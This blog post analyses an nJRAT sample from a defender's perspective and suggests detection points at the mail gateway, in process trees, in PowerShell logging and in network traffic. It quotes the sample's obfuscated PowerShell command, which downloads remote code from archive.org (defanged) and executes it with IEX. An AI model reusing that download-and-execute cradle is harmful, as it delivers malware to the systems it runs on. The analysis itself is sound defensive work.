Malware analysis write-ups can be found in abundance online, they are often written from the perspective of malware researchers which means they focus on the deep internals of malicious software such as memory allocation and procedure calls alongside other technical data points which are not that useful to blue team defenders.

Thankfully researchers normally also publish lists of hashes, file names and IP addresses in their reports. Unfortunately, these IOCs can easily be rotated by attackers and therefore quickly become redundant for defenders. So, instead of looking for these fingerprints (which frequently change), we should instead look to detect malware by its behaviours (which are relatively persistent and common across many malware flavours.). In this post, I hope to take a recent popular strain of malware and pick it apart, not as a malware analyst but as a blue team defender with the goal of creating intelligence that blue teams can use to detect malware based on its generalised behaviours instead of a stagnant list of hashes, IPs or file names.

nJRAT

https://app.any.run/tasks/666080ea-2acf-4078-9d67-53e33c3800df/#

nJRAT is a remote access trojan that's been doing the rounds for many years. It’s so prevalent that in 2014 Microsoft sought direct action against its operations. Today the trojan still ranks high on the Any.run tracker so it makes a great target for this detection breakdown. nJRAT is often delivered via malicious office documents.

Detection Opportunities

#1 eMail gateway

The nJRAT sample I have selected uses a malicious word document for initial infection. The first line of defence against such documents is of course the email gateway. Modern systems like Mimecast, O365 and ProofPoint all have attachment scanning and sandboxing.

In my opinion sandboxing is important because it can see suspicious behaviours and hold the document thus preventing the user from even having a chance to open and infect their machine but this isn't full proof, attackers could simply password-protect their maldoc which stops the sandbox from inspecting the file. Unfortunately, most email gateways are configured to allow encrypted/password-protected documents as business often use them to protect the content of files.

Ideally, defenders should configure their mail gateway to hold encrypted documents for review or block them entirely but this is rather draconian, doing so isn't suitable for every business so other detection and prevention methods are required. This isn't an excuse to force encrypted document blocks on your organisation. Inflicting this control on an unwilling userbase will force them to find and use another method. Where there's a will there's a way.

#2 Suspicious parent/child process tree (sort of)

Most malicious documents obtain remote code execution via macros but oddly, this one doesn't. There are no macros but the document is still able to execute malicious commands and launch a process….

In traditional maldocs that use macros, we might see a secondary process like WMI, PowerShell, or CMD, but we notice EQNEDT32.EXE. What's stranger still is that WINWORD.EXE is not the parent of EQNEDT32.EXE

A quick Google shows us EQNEDT32.EXE can be abused via CVE-2017–11882. Thankfully this gives us a detection opportunity. EDR tools should be configured to look for EQNEDT32.EXE spawning suspicious child processes such as CMD.EXE and POWERSHELL.EXE

Further along the process tree, we see even more suspicious child-parent relationships which should be a dead giveaway to malicious activity. EDR tools should be able to detect these suspicious parent-child process relationships out of the box but it's always worth testing.  

For example: does your EDR tool detect CMD.EXE > MSHTA.EXE > POWERSHELL.EXE as per the below process tree from NJrat?

#3 PowerShell monitoring

Enabling PowerShell logging on user endpoints is a (mostly) free and easy way of creating great detection opportunities, although SIEM is required for this to work.
The SIEM should be configured to look for commonly abused PowerShell commands in unexpected places. This nJRAT sample runs some fairly well-obfuscated commands but having your SIEM look for New-Object Net. We should cover you.

powershell.exe” $c1=’(New-Object Net.We’; $c4=’bClient).Downlo’; $c3=’adString(‘’hXXps://archive.org/download/alldoc-2021/REMOVED.txt'')';$TC=I`E`X ($c1,$c4,$c3 -Join ‘’)|I`E`X

If PowerShell logging isn't an option, EDR can be used instead. Common malicious PowerShell commands should be detected out of the box by most modern EDR platforms but it's always worth testing to be sure.

#4 Network traffic

Last but not least is monitoring the network for signs of malicious behaviour. This can be done at your Firewall and probably EDR.

This particular nJRAT specimen is pulling malicious files from the internet archive. This is an increasingly popular method amongst the bad guys, which aims to hide in plain sight, using a trusted platform to avoid detection and being blocked.

The blue team are backed into a bit of a corner here. We could outright block access to the internet archive, but that would disconnect users from a valuable internet resource. This is an organisational decision. If the user base has no appetite for using the archive then blocking will do no harm. If blocking isn't an option, EDR could be used instead to look for system processes connecting to the archive to retrieve files.

POWERSHELL.EXE connecting to *.archive.org
MSHAT.EXE connecting to *.archive.org
CMD.EXE connecting to *.archive.org

For a more heuristic detection, EDR tools could be trained to look for MSBUILD.exe and MSHTA.exe making network connections to public IP addresses, not just the archive. (Exclude RFC 1918 addresses: 10.0. 0.0/8, 172.16. 0.0/12 and 192.168. 0.0/16)

Summary of the detection opportunities listed:

• Configure your eMail gateway to sandbox attachments, not just scan them.
• Keep the software on user endpoints up-to-date as if your life depends on it.
• Consider blocking or holding encrypted office attachments at the eMail gateway if your organisation is comfortable with doing so.
• Make sure your EDR can detect suspicious process relationships, in this case, EQNEDT32.EXE along with more typical detections like MSHTA. This can be done by instaling your EDR sensor on a cloud machine and running real malware samples against it.
• Monitor for system processes communicating with the internet. In this sample, we see various system processes connecting to the Internet Archive which is a strong great indicator that should raise suspicions.